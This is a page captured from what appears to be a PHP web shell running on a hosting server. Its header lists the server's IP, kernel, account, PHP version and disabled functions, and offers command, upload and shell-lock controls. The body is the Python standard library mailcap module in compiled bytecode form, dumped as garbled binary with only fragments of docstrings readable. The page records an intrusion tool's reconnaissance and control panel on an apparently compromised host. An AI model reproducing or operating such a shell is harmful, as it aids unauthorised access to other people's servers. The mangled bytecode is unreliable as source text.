Server IP : 82.180.170.48 / Your IP : 216.73.216.130 Web Server : LiteSpeed System : Linux us-phx-web1609.main-hosting.eu 5.14.0-503.40.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Mon May 5 06:06:04 EDT 2025 x86_64 User : u636808025 ( 636808025) PHP Version : 8.2.28 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/../dev/../lib64/nss/../python3.9/html/../__pycache__/ |
[ Home ] | [ C0mmand ] | [ Upload File ] | [ Lock Shell ] | [ Logout ] |
---|
a �DOg�#�@s�dZddlZddlZddlZddgZdd�Ze�d�jZGdd �d e �Z d d�Zdd�Zd d�Z dd�Zdd�Zdd�Zddgfdd�Zd#dd�Zgfdd�Zdd�Zdd�Zd d!�Zed"kr�e�dS)$z%Mailcap file handling. See RFC 1524.�N�getcaps� findmatchcCsd|vrd|dfSdSdS)N�linenor)�r�)�entryrr�/usr/lib64/python3.9/mailcap.py�lineno_sort_key sr z[^\xa1-\U0010FFFF\w@+=:,./-]c@seZdZdZdS)�UnsafeMailcapInputz)Warning raised when refusing unsafe inputN)�__name__� __module__�__qualname__�__doc__rrrrr sr c Cs�i}d}t�D]�}zt|d�}Wnty6YqYn0|�t||�\}}Wd�n1s`0Y|��D]*\}}||vr�|||<qr|||||<qrq|S)a�Return a dictionary containing the mailcap database. The dictionary maps a MIME type (in all lowercase, e.g. 'text/plain') to a list of dictionaries corresponding to mailcap entries. The list collects all the entries for that MIME type from all available mailcap files. Each dictionary contains key-value pairs for that MIME type, where the viewing command is stored with the key "view". r�rN)�listmailcapfiles�open�OSError�_readmailcapfile�items)�capsrZmailcap�fpZmorecaps�key�valuerrrrs , cCsPdtjvr"tjd}|�tj�}n*dtjvr8tjd}nd}|ddddg}|S)z7Return a list of all mailcap files found on the system.ZMAILCAPS�HOME�.z /.mailcapz/etc/mailcapz/usr/etc/mailcapz/usr/local/etc/mailcap)�os�environ�split�pathsep)ZpathstrZmailcaps�homerrrr3s �rcCs t�dtd�t|d�\}}|S)z?Read a mailcap file and return a dictionary keyed by MIME type.z2readmailcapfile is deprecated, use getcaps instead�N)�warnings�warn�DeprecationWarningr)rr�_rrr�readmailcapfileEs �r%c Cs�i}|��}|sq�|ddks|��dkr,q|}|dd�dkrb|��}|sPd}|dd�|}q0t|�\}}|r|sxq|dur�||d<|d 7}|�d �}tt|��D]}||��||<q�d �|���}||vr�||�|�q|g||<q||fS)a�Read a mailcap file and return a dictionary keyed by MIME type. Each MIME type is mapped to an entry consisting of a list of dictionaries; the list will contain more than one such dictionary if a given MIME type appears more than once in the mailcap file. Each dictionary contains key-value pairs for that MIME type, where the viewing command is stored with the key "view". r�#����Nz\ � rr�/) �readline�strip� parseliner�range�len�join�lower�append) rrr�lineZnextliner�fields�types�jrrrrMs0 rc Cs�g}dt|�}}||kr>t|||�\}}|�|�|d}qt|�dkrNdS|d|d|dd�}}}d|i}|D]V}|�d�}|dkr�|}d} n$|d|���}||dd���} ||vr�qz| ||<qz||fS) z�Parse one entry in a mailcap file and return a dictionary. The viewing command is stored as the value with the key "view", and the rest of the fields produce key-value pairs in the dict. rrr �NNN�view�=r')r/� parsefieldr2�findr,) r3r4�i�n�fieldrr8�restZfkeyZfvaluerrrr-vs* r-cCsP|}||kr<||}|dkr q<q|dkr2|d}q|d}q|||���|fS)z/Separate one key-value pair in a mailcap entry.�;�\r r)r,)r3r<r=�start�crrrr:�s r:r8z /dev/nullc Cs�t|�r"d|f}t�|t�dSt|||�}|D]`}d|vrlt|d||�}|durXq2|rlt�|�dkrlq2t|||||�} | dur2| |fSq2dS)aFind a match for a mailcap entry. Return a tuple containing the command line, and the mailcap entry used; (None, None) if no match is found. This may invoke the 'test' command of several matching entries before deciding which entry to use. zHRefusing to use mailcap with filename %r. Use a safe temporary filename.r7�testNr)�_find_unsafer!r"r �lookup�substr�system) r�MIMEtyper�filename�plist�msg�entries�erD�commandrrrr�s cslg}||vr|||}|�d�}|dd}||vrB|||}�dur\�fdd�|D�}t|td�}|S)Nr*rz/*csg|]}�|vr|�qSrr)�.0rN�rrr� <listcomp>��zlookup.<locals>.<listcomp>rQ)r�sortedr )rrIrrMZ MIMEtypesrrQrrF�s rFcCsRd}dt|�}}||k�rN||}|d}|dkr^|dkrT|||d�}|d}||}q||}|d}|dkr�||}q|dkr�||}q|dkr�t|�r�d|f}t�|t�dS||}q|d k�r@|} ||kr�||d kr�|d}q�|| |�} |d}t| |�}t|��r6d|| f}t�|t�dS||}q|d|}q|S)Nr'rr�%rA�s�tz9Refusing to substitute MIME type %r into a shell command.�{�}z=Refusing to substitute parameter %r (%s) into a shell command)r/rEr!r"r � findparam)r>rIrJrK�resr<r=rCrLrB�nameZparamrrrrG�sB rGcCsF|��d}t|�}|D](}|d|���|kr||d�SqdS)Nr9r')r1r/)r\rKr=�prrrrZ�srZc Cs�ddl}t�}|jdd�s(t|�dStdt|j�d�D]�}|j||d�}t|�dkrjtd�dS|d}|d}t||d|�\}}|s�tdt�q:td|�t � |�}t �|�}|r:td|�q:dS) Nrrr z"usage: mailcap [MIMEtype file] ...r8zNo viewer found forz Executing:zExit status:)�sysr�argv�showr.r/�printr�typerrH�waitstatus_to_exitcode) r^rr<�argsrI�filerOrN�stsrrrrDs( rDcCs�td�t�D]}td|�qt�|s0t�}td�t�t|�}|D]H}t|�||}|D].}t|�}|D]}td|||�qrt�qbqJdS)NzMailcap files:� zMailcap entries:z %-15s)rarrrT)r�fnZckeysrbrMrN�keys�krrrr`s r`�__main__)N)rrr!�re�__all__r �compile�searchrE�Warningr rrr%rr-r:rrFrGrZrDr`rrrrr�<module>s*) )